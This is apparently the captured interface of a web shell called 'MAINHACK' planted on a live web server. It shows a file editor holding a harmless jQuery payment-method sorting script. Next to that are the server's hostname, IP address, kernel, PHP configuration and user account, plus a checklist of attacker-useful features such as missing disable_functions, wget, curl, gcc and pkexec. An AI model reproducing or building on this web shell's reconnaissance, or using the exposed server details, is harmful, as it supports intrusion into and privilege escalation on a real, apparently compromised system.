[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: payment_method_sort.js
$(document).ready(function(){ "use strict"; let base_url = $('#base_url_').val(); let target = $('.sort_category'); let no_permission_for_this_module = $('#no_permission_for_this_module').val(); let ok = $("#ok").val(); let warning = $('#warning').val(); $.ajax({ url: base_url + "Master/checkAccess", method: "GET", async: false, dataType: 'json', data: { controller: "302", function: "sort" }, success: function (response) { if (response == false) { Swal.fire({ title: warning+" !", text: no_permission_for_this_module, showDenyButton: false, showCancelButton: false, confirmButtonText: ok, }); } else { target.sortable({ handle: '.handle', placeholder: 'highlight', axis: "y", update: function (e, ui){ let sortData = target.sortable('toArray',{ attribute: 'data-id'}); $.ajax({ type: "POST", url: base_url+'PaymentMethod/sortPaymentMethodUpdate', data: { ids: sortData.join(',') }, success: function (response) { if(response.success){ $('#ajax-message').html(""); $('#ajax-message').html(` <section class="alert-wrapper"> <div class="alert alert-success alert-dismissible fade show"> <button type="button" class="btn-close" data-bs-dismiss="alert" aria-label="Close"></button> <div class="alert-body"> <i class="m-right fa fa-check"></i> ${response.message} </div> </div> </section> `); setTimeout(function(){ $('#ajax-message').html(""); }, 2000); } } }); } }); } } }); });
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 60.06 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002